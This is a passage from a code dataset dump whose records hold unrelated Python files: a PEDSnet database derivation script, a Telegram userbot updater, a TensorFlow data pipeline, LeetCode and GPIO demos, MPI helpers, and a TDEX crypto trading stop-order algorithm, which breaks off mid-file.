_make_index_name(col)\n idx_stmt = Statement(IDX_OBS_LIKE_TABLE_SQL.format(idx_name, schema, col))\n stmts.add(idx_stmt)\n\n # Execute the statements in parallel.\n stmts.parallel_execute(conn_str)\n\n # Check for any errors and raise exception if they are found.\n for stmt in stmts:\n try:\n check_stmt_err(stmt, 'Observation Derivation Recover')\n except:\n logger.error(combine_dicts({'msg': 'Fatal error',\n 'sql': stmt.sql,\n 'err': str(stmt.err)}, log_dict))\n logger.info(combine_dicts({'msg': 'adding indexes failed',\n 'elapsed': secs_since(start_time)},\n log_dict))\n raise\n logger.info({'msg': 'indexes added'})\n\n # Add foreign keys (same as observation)\n stmts.clear()\n logger.info({'msg': 'adding foreign keys'})\n col_fk = ('observation_concept_id', 'person_id', 'provider_id',\n 'qualifier_concept_id', 'observation_type_concept_id',\n 'unit_concept_id', 'value_as_concept_id',\n 'visit_occurrence_id',)\n\n for fk in col_fk:\n fk_len = fk.count('_')\n if \"concept_id\" in fk:\n base_name = '_'.join(fk.split('_')[:fk_len - 1])\n ref_table = \"vocabulary.concept\"\n ref_col = \"concept_id\"\n else:\n base_name = ''.join(fk.split('_')[:1])\n ref_table = '_'.join(fk.split('_')[:fk_len])\n ref_col = fk\n fk_name = \"fk_obs_\" + base_name + \"_recover\"\n fk_stmt = Statement(FK_OBS_LIKE_TABLE_SQL.format(schema,\n fk_name, fk, ref_table,\n ref_col))\n stmts.add(fk_stmt)\n\n # Execute the statements in parallel.\n stmts.parallel_execute(conn_str)\n\n # Execute statements and check for any errors and raise exception if they are found.\n for stmt in stmts:\n try:\n check_stmt_err(stmt, 'Observation Derivation Recover')\n except:\n logger.error(combine_dicts({'msg': 'Fatal error',\n 'sql': stmt.sql,\n 'err': str(stmt.err)}, log_dict))\n logger.info(combine_dicts({'msg': 'adding foreign keys failed',\n 'elapsed': secs_since(start_time)},\n log_dict))\n raise\n logger.info({'msg': 'foreign keys added'})\n\n # Copy to the observation table\n if copy:\n logger.info({'msg': 'copy to observation'})\n okay = _copy_to_obs_table(conn_str, schema)\n if not okay:\n return False\n logger.info({'msg': 'copied to observation'})\n\n # Set permissions\n stmts.clear()\n logger.info({'msg': 'setting permissions'})\n if limit:\n users = (owner,)\n else:\n users = ('peds_staff', 'dcc_analytics')\n\n for usr in users:\n grant_stmt = Statement(GRANT_OBS_LIKE_TABLE_SQL.format(schema, usr))\n stmts.add(grant_stmt)\n\n # Check for any errors and raise exception if they are found.\n for stmt in stmts:\n try:\n stmt.execute(conn_str)\n check_stmt_err(stmt, 'Observation Derivation Recover')\n except:\n logger.error(combine_dicts({'msg': 'Fatal error',\n 'sql': stmt.sql,\n 'err': str(stmt.err)}, log_dict))\n logger.info(combine_dicts({'msg': 'granting permissions failed',\n 'elapsed': secs_since(start_time)},\n log_dict))\n raise\n logger.info({'msg': 'permissions set'})\n\n # Vacuum analyze tables for piney freshness.\n logger.info({'msg': 'begin vacuum'})\n vacuum(conn_str, model_version, analyze=True, tables=['observation_derivation_recover'])\n logger.info({'msg': 'vacuum finished'})\n\n # Log end of function.\n logger.info(combine_dicts({'msg': 'finished Observation Derivation Recover',\n 'elapsed': secs_since(start_time)}, log_dict))\n\n # If reached without error, then success!\n return True\n\n\ndef _clear_fake_ids(conn_str, schema):\n # Clear \"fake\" ids\n fake_id_sql = \"update {0}.observation_derivation_covid set observation_id = NULL\"\n fake_id_msg = \"clearing 'fake' ids\"\n\n # Clear Ids\n logger.info({'msg': 'begin clearing \"fake\" ids'})\n fake_id_stmt = Statement(fake_id_sql.format(schema),\n fake_id_msg)\n\n # Execute the clear \"fake\" ids statement and ensure it didn't error\n fake_id_stmt.execute(conn_str)\n check_stmt_err(fake_id_stmt, 'clear \"fake\" ids')\n logger.info({'msg': '\"fake ids cleared'})\n\n # If reached without error, then success!\n return True\n\n\ndef _add_observation_ids(conn_str, site, search_path, model_version, id_name):\n \"\"\"Add observation ids for the derivation table\n\n * Find how many ids needed\n * Update observation_id with new value\n * Create sequence\n * Set sequence starting number\n * Assign observation ids\n * Make observation_id the primary key\n\n :param str conn_str: database connection string\n :param str site: site for derivation\n :param str search_path: PostgreSQL schema search path\n :param str model_version: pedsnet model version, e.g. 2.3.0\n :param str id_name: name of the id (ex. dcc or onco)\n :returns: True if the function succeeds\n :rtype: bool\n :raises DatabaseError: if any of the statement executions cause errors\n \"\"\"\n\n new_id_count_sql = \"\"\"SELECT COUNT(*)\n FROM {0}.observation_derivation_recover WHERE observation_id IS NULL\"\"\"\n new_id_count_msg = \"counting new IDs needed for observation_derivation_recover\"\n lock_last_id_sql = \"\"\"LOCK {last_id_table_name}\"\"\"\n lock_last_id_msg = \"locking {table_name} last ID tracking table for update\"\n\n update_last_id_sql = \"\"\"UPDATE {last_id_table_name} AS new\n SET last_id = new.last_id + '{new_id_count}'::bigint\n FROM {last_id_table_name} AS old RETURNING old.last_id, new.last_id\"\"\"\n update_last_id_msg = \"updating {table_name} last ID tracking table to reserve new IDs\" # noqa\n create_seq_observation_sql = \"create sequence if not exists {0}.{1}_obs_derivation_recover_seq\"\n create_seq_observation_msg = \"creating observation_derivation_recover sequence\"\n set_seq_number_sql = \"alter sequence {0}.{1}_obs_derivation_recover_seq restart with {2};\"\n set_seq_number_msg = \"setting sequence number\"\n add_observation_ids_sql = \"\"\"update {0}.observation_derivation_recover set observation_id = nextval('{0}.{1}_obs_derivation_recover_seq')\n where observation_id is null\"\"\"\n add_observation_ids_msg = \"adding the observation ids to the observation_derivation_recover table\"\n pk_observation_id_sql = \"alter table {0}.observation_derivation_recover add primary key (observation_id)\"\n pk_observation_id_msg = \"making observation_id the primary key\"\n\n conn_info_dict = get_conn_info_dict(conn_str)\n\n # Log start of the function and set the starting time.\n log_dict = combine_dicts({'site': site, },\n conn_info_dict)\n\n logger = logging.getLogger(__name__)\n\n logger.info(combine_dicts({'msg': 'starting observation_id assignment'},\n log_dict))\n start_time = time.time()\n schema = primary_schema(search_path)\n table_name = 'observation'\n\n # Mapping and last ID table naming conventions.\n last_id_table_name_tmpl = id_name + \"_{table_name}_id\"\n metadata = stock_metadata(model_version)\n\n # Get table object and start to build tpl_vars map, which will be\n # used throughout for formatting SQL statements.\n table = metadata.tables[table_name]\n tpl_vars = {'table_name': table_name}\n tpl_vars['last_id_table_name'] = last_id_table_name_tmpl.format(**tpl_vars)\n\n # Build the statement to count how many new ID mappings are needed.\n new_id_count_stmt = Statement(new_id_count_sql.format(schema), new_id_count_msg)\n\n # Execute the new ID mapping count statement and ensure it didn't\n # error and did return a result.\n new_id_count_stmt.execute(conn_str)\n check_stmt_err(new_id_count_stmt, 'assign observation ids')\n check_stmt_data(new_id_count_stmt, 'assign observation ids')\n\n # Get the actual count of new ID maps needed and log it.\n tpl_vars['new_id_count'] = new_id_count_stmt.data[0][0] + 1\n logger.info({'msg': 'counted new IDs needed', 'table': 'observation_derivation_recover',\n 'count': tpl_vars['new_id_count']})\n\n # Build list of two last id table update statements that need to\n # occur in a single transaction to prevent race conditions.\n update_last_id_stmts = StatementList()\n update_last_id_stmts.append(Statement(\n lock_last_id_sql.format(**tpl_vars),\n lock_last_id_msg.format(**tpl_vars)))\n update_last_id_stmts.append(Statement(\n update_last_id_sql.format(**tpl_vars),\n update_last_id_msg.format(**tpl_vars)))\n\n # Execute last id table update statements and ensure they didn't\n # error and the second one returned results.\n update_last_id_stmts.serial_execute(conn_str, transaction=True)\n\n for stmt in update_last_id_stmts:\n check_stmt_err(stmt, 'assign observation ids')\n check_stmt_data(update_last_id_stmts[1],\n 'assign observation ids')\n\n # Get the old and new last IDs from the second update statement.\n tpl_vars['old_last_id'] = update_last_id_stmts[1].data[0][0]\n tpl_vars['new_last_id'] = update_last_id_stmts[1].data[0][1]\n logger.info({'msg': 'last ID tracking table updated',\n 'table': table_name,\n 'old_last_id': tpl_vars['old_last_id'],\n 'new_last_id': tpl_vars['new_last_id']})\n\n logger.info({'msg': 'begin observation id sequence creation'})\n # Create the observation id sequence (if it doesn't exist)\n observation_seq_stmt = Statement(create_seq_observation_sql.format(schema, site),\n create_seq_observation_msg)\n\n # Execute the create the observation id sequence statement and ensure it didn't error\n observation_seq_stmt.execute(conn_str)\n check_stmt_err(observation_seq_stmt, 'create observation id sequence')\n logger.info({'msg': 'observation id sequence creation complete'})\n\n # Set the sequence number\n logger.info({'msg': 'begin set sequence number'})\n seq_number_set_stmt = Statement(set_seq_number_sql.format(schema, site, (tpl_vars['old_last_id'] + 1)),\n set_seq_number_msg)\n\n # Execute the set the sequence number statement and ensure it didn't error\n seq_number_set_stmt.execute(conn_str)\n check_stmt_err(seq_number_set_stmt, 'set the sequence number')\n logger.info({'msg': 'set sequence number complete'})\n\n # Add the observation ids\n logger.info({'msg': 'begin add observation ids'})\n add_observation_ids_stmt = Statement(add_observation_ids_sql.format(schema, site),\n add_observation_ids_msg)\n\n # Execute the add the observation ids statement and ensure it didn't error\n add_observation_ids_stmt.execute(conn_str)\n check_stmt_err(add_observation_ids_stmt, 'add the observation ids')\n logger.info({'msg': 'add observation ids complete'})\n\n # Make observation Id the primary key\n logger.info({'msg': 'begin add primary key'})\n pk_observation_id_stmt = Statement(pk_observation_id_sql.format(schema),\n pk_observation_id_msg)\n\n # Execute the Make observation Id the primary key statement and ensure it didn't error\n pk_observation_id_stmt.execute(conn_str)\n check_stmt_err(pk_observation_id_stmt, 'make observation Id the primary key')\n logger.info({'msg': 'primary key created'})\n\n # Log end of function.\n logger.info(combine_dicts({'msg': 'finished adding observation ids',\n 'elapsed': secs_since(start_time)}, log_dict))\n\n # If reached without error, then success!\n return True\n","sub_path":"pedsnetdcc/r_obs_recover.py","file_name":"r_obs_recover.py","file_ext":"py","file_size_in_byte":29506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"40906853","text":"# Copyright (C) 2019 The Raphielscape Company LLC.\n#\n# Licensed under the Raphielscape Public License, Version 1.c (the \"License\");\n# you may not use this file except in compliance with the License.\n#\n\"\"\"\nThis module updates the userbot based on chtream revision\n\"\"\"\n\nfrom os import remove, execl\nimport sys\n\nfrom git import Repo\nfrom git.exc import GitCommandError, InvalidGitRepositoryError, NoSuchPathError\n\nfrom userbot import CMD_HELP, bot, HEROKU_MEMEZ, HEROKU_API_KEY, HEROKU_APP_NAME\nfrom userbot.events import register\n\n\nasync def gen_chlog(repo, diff):\n ch_log = ''\n d_form = \"%d/%m/%y\"\n for c in repo.iter_commits(diff):\n ch_log += f'•[{c.committed_datetime.strftime(d_form)}]: {c.summary} <{c.author}>\\n'\n return ch_log\n\n\nasync def is_off_br(br):\n off_br = ['master']\n for k in off_br:\n if k == br:\n return 1\n return\n\n\n@register(outgoing=True, pattern=\"^.chl(?: |$)(.*)\")\nasync def chtream(ch):\n \"For .update command, check if the bot is up to date, update if specified\"\n await ch.edit(\"`Checking for updates, please wait....`\")\n conf = ch.pattern_match.group(1).lower()\n off_repo = 'https://github.com/Hack12R/HardcoreUserbot.git'\n\n try:\n txt = \"`Oops.. Updater cannot continue due to some problems occured`\\n\\n**LOGTRACE:**\\n\"\n repo = Repo()\n except NoSuchPathError as error:\n await ch.edit(f'{txt}\\n`directory {error} is not found`')\n return\n except GitCommandError as error:\n await ch.edit(f'{txt}\\n`Early failure! {error}`')\n return\n except InvalidGitRepositoryError:\n repo = Repo.init()\n await ch.edit(\n \"`Warning: Force-Syncing to the latest stable code from repo.`\\\n \\nI may lose my downloaded files during this update.\"\n )\n origin = repo.create_remote('chtream', off_repo)\n origin.fetch()\n repo.create_head('master', origin.refs.master)\n repo.heads.master.checkout(True)\n\n ac_br = repo.active_branch.name\n if not await is_off_br(ac_br):\n await ch.edit(\n f'**[UPDATER]:**` Looks like you are using your own custom branch ({ac_br}). \\\n in that case, Updater is unable to identify which branch is to be merged. \\\n please checkout to any official branch`')\n return\n\n try:\n repo.create_remote('chtream', off_repo)\n except BaseException:\n pass\n\n ch_rem = repo.remote('chtream')\n ch_rem.fetch(ac_br)\n changelog = await gen_chlog(repo, f'HEAD..chtream/{ac_br}')\n\n if not changelog:\n await ch.edit(f'\\n`WEW Your BOT is` **up-to-date** `with` **{ac_br}**\\n')\n return\n\n if conf != \"w\":\n changelog_str = f'**New UPDATE available for [{ac_br}]:\\n\\nCHANGELOG:**\\n`{changelog}`'\n if len(changelog_str) > 4096:\n await ch.edit(\"`Ooof Changelog is too big, sending it as a file.`\")\n file = open(\"output.txt\", \"w+\")\n file.write(changelog_str)\n file.close()\n await ch.client.send_file(\n ch.chat_id,\n \"output.txt\",\n reply_to=ch.id,\n )\n remove(\"output.txt\")\n else:\n await ch.edit(changelog_str)\n await ch.respond(\n \"`do \\\".update now \\\" to update\\nif using Heroku`\")\n return\n\n await ch.edit('`New update found, updating...`')\n ch_rem.fetch(ac_br)\n await ch.edit('`Successfully Updated!\\n'\n 'Bot is restarting... Wait for a second!`')\n await install_requirements()\n await bot.disconnect()\n # Spin a new instance of bot\n execl(sys.executable, sys.executable, *sys.argv)\n # Shut the existing one down\n exit()\n\n\nCMD_HELP.update({\n 'update':\n \".chl\\\n\\nUsage: Checks if the main userbot repository has any updates and shows a changelog if so.\\\n\\n\\n.update\\\n\\nUsage: Updates your userbot, if there are any updates in the main userbot repository.\"\n})\n","sub_path":"userbot/plugins/changelog.py","file_name":"changelog.py","file_ext":"py","file_size_in_byte":3959,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"617801414","text":"from . import tf_record\n\nimport tensorflow as tf\n\nimport os\n\n\ndef classificator_pipeline(tf_records_path, target_size=(128, 128), batch_size=1, io_parallel_calls=1, file_parsing_parallelism=1,\n augmentation_parallelism=1):\n print(\"Reading from \" + tf_records_path)\n\n filenames = tf.data.Dataset.list_files(tf_records_path, shuffle=True).repeat()\n dataset = tf.data.TFRecordDataset(filenames, compression_type='GZIP', num_parallel_reads=io_parallel_calls)\n dataset = dataset.map(map_func=tf_record.ClassificatorTFRecordHandler.parse_tf_record,\n num_parallel_calls=file_parsing_parallelism)\n\n def f(x, y):\n x = tf.cast(x, tf.dtypes.float32)\n x = tf.reshape(x, (1024, 1024, 1))\n x = tf.clip_by_value(x, 0.0, 500.0)\n #x = tf.image.random_brightness(x, 1.)\n #x = tf.image.adjust_gamma(x, 1, 1)\n\n y = tf.one_hot(y, 2)\n return x, y\n\n\n dataset = dataset.map(f, num_parallel_calls=augmentation_parallelism)\n\n # map_and_batch also available but our batch size is < 100\n dataset = dataset.batch(batch_size)\n\n # Reshape\n resize = lambda x, y: (tf.image.resize(x, target_size), y)\n dataset = dataset.map(resize, num_parallel_calls=augmentation_parallelism).prefetch(1)\n\n return dataset\n\n\nif __name__ == '__main__':\n\n #tf.enable_eager_execution()\n tf_records_path = os.path.join(tf_record.TF_RECORDS_PATH, 'classificator_0/*.tfrecords')\n dataset = classificator_pipeline(tf_records_path)\n\n img = iter(dataset)\n img = next(img)\n\n for data in iter(dataset):\n #print(img[0].shape, img[1])\n print(data[1])#, data[0].shape)\n\n import matplotlib.pyplot as plt\n\n print(img[0].shape)\n print(img[1].shape)\n print(img[1])\n print(img[0][0,:,:,0].shape)\n plt.imshow(img[0][0,:,:,0], cmap='Greys_r')\n plt.show()\n","sub_path":"src/classificator/pipeline.py","file_name":"pipeline.py","file_ext":"py","file_size_in_byte":1872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"612686935","text":"import os\nimport pandas as pd\n\ndef read_results_file(fname):\n df = pd.read_csv(fname)\n return df\n\n\ndef read_offset_dir(dirname):\n list_df = []\n for file in os.listdir(dirname):\n fname = dirname + \"/\" + file\n list_df.append(read_results_file(fname))\n return list_df\n\n\ndef aggregate_data_frames(list_df, groupby_columns, reduced_columns):\n if set(groupby_columns) - set(reduced_columns):\n raise ValueError(\"error in specifiying visualization dataframe columns\")\n total_df = pd.concat(list_df)\n return total_df[reduced_columns].groupby(groupby_columns).mean()\n\n\nlist_df = read_offset_dir(\"../simulation_res/0/\")\ntotaldf = aggregate_data_frames(list_df,[\"buyer\",\"turn\"],[\"buyer\",\"turn\",\"budget\"])\nprint(totaldf)\n\n\n","sub_path":"tests/scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"85215634","text":"# 给定一个字符串数组,将字母异位词组合在一起。字母异位词指字母相同,但排列不同的字符串。\n\n\nclass Solution:\n def groupAnagrams(self, strs):\n \"\"\"\n :type strs: List[str]\n :rtype: List[List[str]]\n \"\"\"\n dic = {}\n\n for i in strs:\n key = ''.join(sorted(i))\n if key not in dic:\n dic[key] = [i]\n else:\n dic[key].append(i)\n return list(dic.values())\n\n def groupAnagrams1(self, strs):\n from collections import defaultdict\n # defaultdict属于内建函数dict的一个子类,调用工厂函数提供缺失的值\n prime = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103]\n lookup = defaultdict(list)\n for string in strs:\n key_val = 1\n for char in string:\n key_val *= prime[ord(char) - ord('a')]\n lookup[key_val].append(string)\n return list(lookup.values())\n\n\ns = Solution()\nprint(s.groupAnagrams([\"eat\", \"tea\", \"tan\", \"ate\", \"nat\", \"bat\"]))\nprint(s.groupAnagrams1([\"eat\", \"tea\", \"tan\", \"ate\", \"nat\", \"bat\"]))\n","sub_path":"leetcode049_字母异位词分组.py","file_name":"leetcode049_字母异位词分组.py","file_ext":"py","file_size_in_byte":1202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"638284928","text":"#!/usr/bin/env python\n\n# Copyright (c) 2019, NVIDIA CORPORATION. All rights reserved.\n# Permission is hereby granted, free of charge, to any person obtaining a\n# copy of this software and associated documentation files (the \"Software\"),\n# to deal in the Software without restriction, including without limitation\n# the rights to use, copy, modify, merge, publish, distribute, sublicense,\n# and/or sell copies of the Software, and to permit persons to whom the\n# Software is furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n# DEALINGS IN THE SOFTWARE.\n\nimport Jetson.GPIO as GPIO\nimport time\n\n# Pin Definitions\ninput_pin1 = 12 #18 # BCM pin 18, BOARD pin 12\ninput_pin2 = 13 \n\ndef main():\n prev_value1 = None\n prev_value2 = None\n # Pin Setup:\n GPIO.setmode(GPIO.BOARD) # BCM pin-numbering scheme from Raspberry Pi\n GPIO.setup(input_pin1, GPIO.IN) # set pin as an input pin\n GPIO.setup(input_pin2, GPIO.IN)\n print(\"Starting demo now! Press CTRL+C to exit\")\n try:\n while True:\n value1 = GPIO.input(input_pin1)\n if value1 != prev_value1:\n if value1 == GPIO.HIGH:\n value_str1 = \"HIGH\"\n print(\"high\")\n else:\n value_str1 = \"LOW\"\n print(\"low\")\n print(\"Value read from pin {} : {}\".format(input_pin1,\n value_str1))\n prev_value1 = value1\n\n value2 = GPIO.input(input_pin2)\n if value2 != prev_value2:\n if value2 == GPIO.HIGH:\n value_str2 = \"HIGH\"\n print(\"high\")\n else:\n value_str2 = \"LOW\"\n print(\"low\")\n print(\"Value read from pin {} : {}\".format(input_pin2,\n value_str2))\n prev_value2 = value2\n time.sleep(1)\n finally:\n GPIO.cleanup()\n\nif __name__ == '__main__':\n main()\n","sub_path":"simple_input.py","file_name":"simple_input.py","file_ext":"py","file_size_in_byte":2640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"414717766","text":"\n\n'''\nAn Array of integers is given, both +ve and -ve.\nYou need to find the two elements such that their sum is closest to zero.\n\nExample\nnum_list = [1, 4, 45, 6, 10, -1]\npair (1, -1)\n\nLINK:\nhttps://www.geeksforgeeks.org/two-elements-whose-sum-is-closest-to-zero/\n'''\n\n\ndef find_pair_sorting(num_list, n):\n num_list.sort()\n print(num_list)\n abs_sum = 10**9\n l_num = r_num = -1\n\n i = 0\n j = n - 1\n\n while i < j:\n temp_sum = num_list[i] + num_list[j]\n # print(temp_sum, abs_sum)\n if abs(temp_sum) < abs(abs_sum):\n abs_sum = temp_sum\n l_num = num_list[i]\n r_num = num_list[j]\n\n if temp_sum > 0:\n j -= 1\n else:\n i += 1\n return (l_num, r_num)\n\n\n# Driver program to test the functions\ndef main():\n num_list = [1, 4, 45, 6, 10, -1]\n required_sum = 0\n result = find_pair_sorting(num_list, len(num_list))\n if result:\n print(f\"number with sum nearest to zero, number = {result}\")\n else:\n print(\"Array doesn't have two elements with the given sum\")\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"Algorithm/searching/find_pairs_with_sum_closest_to_zero.py","file_name":"find_pairs_with_sum_closest_to_zero.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"228484758","text":"import csv \nimport os.path\n\nfrom classes.ice_cream import IceCream\nfrom classes.freezer import Freezer\n\nmy_path = os.path.abspath(os.path.dirname(__file__))\npath = os.path.join(my_path, \"../data/freezer.csv\")\n\n\nclass Interface:\n def __init__(self, name):\n self.name = name\n self.ice_cream = IceCream.all_ice_cream()\n self.ice_cream_freezer = Freezer.all_freezer()\n self.ice_cream_menu()\n\n def ice_cream_menu(self):\n while True:\n user_input = int(input(\"\"\"\n\n 1. Make Batch of Ice cream.\n 2. Place Ice cream in freezer.\n 3. Take Ice cream batch from freezer.\n 4. Check status of Ice cream batches.\n 5. 1 hour time elapse.\n 6. Quit\n\n \"\"\"))\n if user_input == 1:\n self.make_batch()\n elif user_input == 2:\n self.into_freezer()\n elif user_input == 3:\n self.takeout_freezer() \n elif user_input == 4:\n self.Status_ice_cream() \n elif user_input == 5:\n self.time_lapse()\n elif user_input == 6:\n break\n\n def make_batch(self):\n ice_cream_data = {'flavor': 'batch_number'}\n\n ice_cream_data['flavor'] = input(\"\\n\\nWhat flavor of icecream would you like to make?\\n\\n\")\n ice_cream_data['batch_number'] = input(\"\\n\\nWhat batch number is this?\\n\\n\")\n ice_cream_data['status'] = 'watery'\n\n IceCream.make_batch(self,ice_cream_data)\n print('you just created xxxx batch')\n\n def into_freezer(self):\n \n \n # return batches\n with open(path, 'w', newline='') as csv_file:\n writer = csv.DictWriter(csv_file, fieldnames = [\"batch_number\", \"flavor\", \"status\",\"in_freezer\"])\n writer.writeheader()\n batch_number = input('What Batch Number would you like to put into the freezer?')\n if len(self.ice_cream) == 0:\n print(\"Your are out of icecream\")\n for batch in self.ice_cream:\n if batch.batch_number == batch_number:\n self.ice_cream_freezer.append(batch)\n batch_number=batch.batch_number\n flavor=batch.flavor\n status=batch.status\n in_freezer= \"y\"\n writer.writerow({\"batch_number\": batch_number, \"flavor\": flavor, \"status\": status,\"in_freezer\": in_freezer})\n \n # \n # print (f'Batches in the freezer are: {self.freezer_inv}')\n\n \n\n # def time_lapse(self):\n\n \n","sub_path":"classes/interface.py","file_name":"interface.py","file_ext":"py","file_size_in_byte":2800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"37295941","text":"import numpy as np\n\n\ndef set_seeds(comm):\n \"\"\"\n This function guaranties different seeds on different processors\n \"\"\"\n if comm is None:\n return\n\n rank = comm.Get_rank()\n size = comm.Get_size()\n maxint = np.iinfo(np.int32).max\n if rank == 0:\n seed = []\n for i in range(size):\n new_seed = np.random.randint(0, high=maxint)\n while new_seed in seed:\n new_seed = np.random.randint(0, high=maxint)\n seed.append(new_seed)\n else:\n seed = None\n\n # Scatter the seeds to the other processes\n seed = comm.scatter(seed, root=0)\n\n # Update the seed\n np.random.seed(seed)\n\n if size > 1:\n # Verify that numpy rand produces different result on the processors\n random_test = np.random.randint(low=0, high=100, size=100)\n sum_all = np.zeros_like(random_test)\n comm.Allreduce(random_test, sum_all)\n if np.allclose(sum_all, size * random_test):\n msg = \"The seeding does not appear to have any effect on Numpy's \"\n msg += \"rand functions!\"\n raise RuntimeError(msg)\n\n\ndef num_processors():\n \"\"\"Return the number of processors.\"\"\"\n try:\n from mpi4py import MPI\n comm = MPI.COMM_WORLD\n num_proc = comm.Get_size()\n except ImportError:\n num_proc = 1\n return num_proc\n\n\ndef mpi_allreduce(msg):\n \"\"\"Wraps the allreduce method.\"\"\"\n try:\n from mpi4py import MPI\n comm = MPI.COMM_WORLD\n value = comm.allreduce(msg)\n except ImportError:\n value = msg\n return value\n\n\ndef mpi_bcast(msg, root=0):\n \"\"\"Wraps the broadcast method.\"\"\"\n try:\n from mpi4py import MPI\n comm = MPI.COMM_WORLD\n value = comm.bcast(msg, root=root)\n except ImportError:\n value = msg\n return value\n\n\ndef mpi_rank():\n try:\n from mpi4py import MPI\n comm = MPI.COMM_WORLD\n rank = comm.Get_rank()\n except ImportError:\n rank = 0\n return rank\n\n\ndef mpi_allgather(msg):\n \"\"\"Wraps the allgather method.\"\"\"\n try:\n from mpi4py import MPI\n comm = MPI.COMM_WORLD\n value = comm.allgather(msg)\n except ImportError:\n value = [msg]\n return value\n\ndef mpi_barrier():\n try:\n from mpi4py import MPI\n comm = MPI.COMM_WORLD\n comm.barrier()\n except ImportError:\n pass\n\n\ndef has_mpi():\n try:\n from mpi4py import MPI\n return True\n except ImportError:\n pass\n return False\n\n\ndef mpi_communicator():\n try:\n from mpi4py import MPI\n return MPI.COMM_WORLD\n except ImportError:\n pass\n return None\n\n\ndef mpi_max():\n try:\n from mpi4py import MPI\n return MPI.MAX\n except ImportError:\n pass\n return None\n\n\ndef mpi_sum():\n try:\n from mpi4py import MPI\n return MPI.SUM\n except ImportError:\n pass\n return None","sub_path":"cemc/mcmc/mpi_tools.py","file_name":"mpi_tools.py","file_ext":"py","file_size_in_byte":2943,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"345387175","text":"# encoding: UTF-8\n\nfrom __future__ import division\n\nimport os\nfrom collections import OrderedDict\n\nfrom six import text_type\n\nfrom vnpy.trader.vtConstant import (DIRECTION_LONG, DIRECTION_SHORT,\n OFFSET_OPEN, OFFSET_CLOSE,\n STATUS_ALLTRADED, STATUS_CANCELLED, STATUS_REJECTED)\nfrom vnpy.trader.uiQt import QtWidgets\nfrom vnpy.trader.app.algoTrading.algoTemplate import AlgoTemplate\nfrom vnpy.trader.app.algoTrading.uiAlgoWidget import AlgoWidget, QtWidgets\n\nfrom tdexApi import Tdex\nimport json\n\nREST_HOST = 'https://tl.tdex.com/openapi/v1'\nbase_dir = os.path.join(os.getcwd())\nfilePath = os.path.join(base_dir, 'TDEX_connect.json')\n\nf = file(filePath)\nsetting = json.load(f)\n\napiKey = str(setting['apiKey'])\napiSecret = str(setting['apiSecret'])\n# print(apiKey, apiSecret)\n\noptions = {\n 'apiKey': apiKey,\n 'apiSecret': apiSecret,\n 'url': REST_HOST,\n}\n\ntdex = Tdex(options)\n\nSTATUS_FINISHED = set([STATUS_ALLTRADED, STATUS_CANCELLED, STATUS_REJECTED])\n\n\n########################################################################\nclass StopAlgo(AlgoTemplate):\n \"\"\"停止单算法,也可以用于止损单\"\"\"\n \n templateName = u'STOP 条件委托'\n\n #----------------------------------------------------------------------\n def __init__(self, engine, setting, algoName):\n \"\"\"Constructor\"\"\"\n super(StopAlgo, self).__init__(engine, setting, algoName)\n \n # 参数,强制类型转换,保证从CSV加载的配置正确\n self.vtSymbol = str(setting['vtSymbol']) # 合约代码\n self.direction = text_type(setting['direction']) # 买卖\n self.stopPrice = float(setting['stopPrice']) # 触发价格\n self.totalVolume = float(setting['totalVolume']) # 数量\n self.offset = text_type(setting['offset']) # 开平\n self.priceAdd = float(setting['priceAdd']) # 下单时的超价\n \n self.vtOrderID = '' # 委托号\n self.tradedVolume = 0 # 成交数量\n self.orderStatus = '' # 委托状态\n if self.vtSymbol == 'BTCUSD.TDEX':\n self.vtSymbol = 'XBTUSD.BITMEX'\n self.subscribe(self.vtSymbol)\n self.paramEvent()\n self.varEvent()\n \n #----------------------------------------------------------------------\n def onTick(self, tick):\n \"\"\"\"\"\"\n # 如果已经发出委托,则忽略行情事件\n if self.vtOrderID:\n return\n\n data = {\n 'depth': 5,\n }\n\n depthData = tdex.orderBook(data)\n # 获取行情\n if not depthData or depthData['status'] != 0:\n self.writeLog('获取TDEX行情接口异常')\n print(depthData)\n return\n\n depthData = depthData['data']\n askList = depthData['asks']\n bidList = depthData['bids']\n \n # 如果到达止损位,才触发委托\n if (self.direction == DIRECTION_LONG and \n tick.lastPrice >= self.stopPrice):\n # 计算超价委托价格\n price = self.stopPrice + self.priceAdd\n \n # 避免价格超过涨停价\n # if tick.upperLimit:\n # price = min(price, tick.upperLimit)\n \n # func = self.buy\n # 发出委托\n dataBuy = {\n 'cid': 1,\n 'side': 0,\n 'scale': 20,\n 'volume': int(self.totalVolume),\n 'visible': -1,\n 'price': int(price),\n }\n resBuy = tdex.futuresOpen(dataBuy)\n print(resBuy)\n if resBuy['status'] == 0:\n 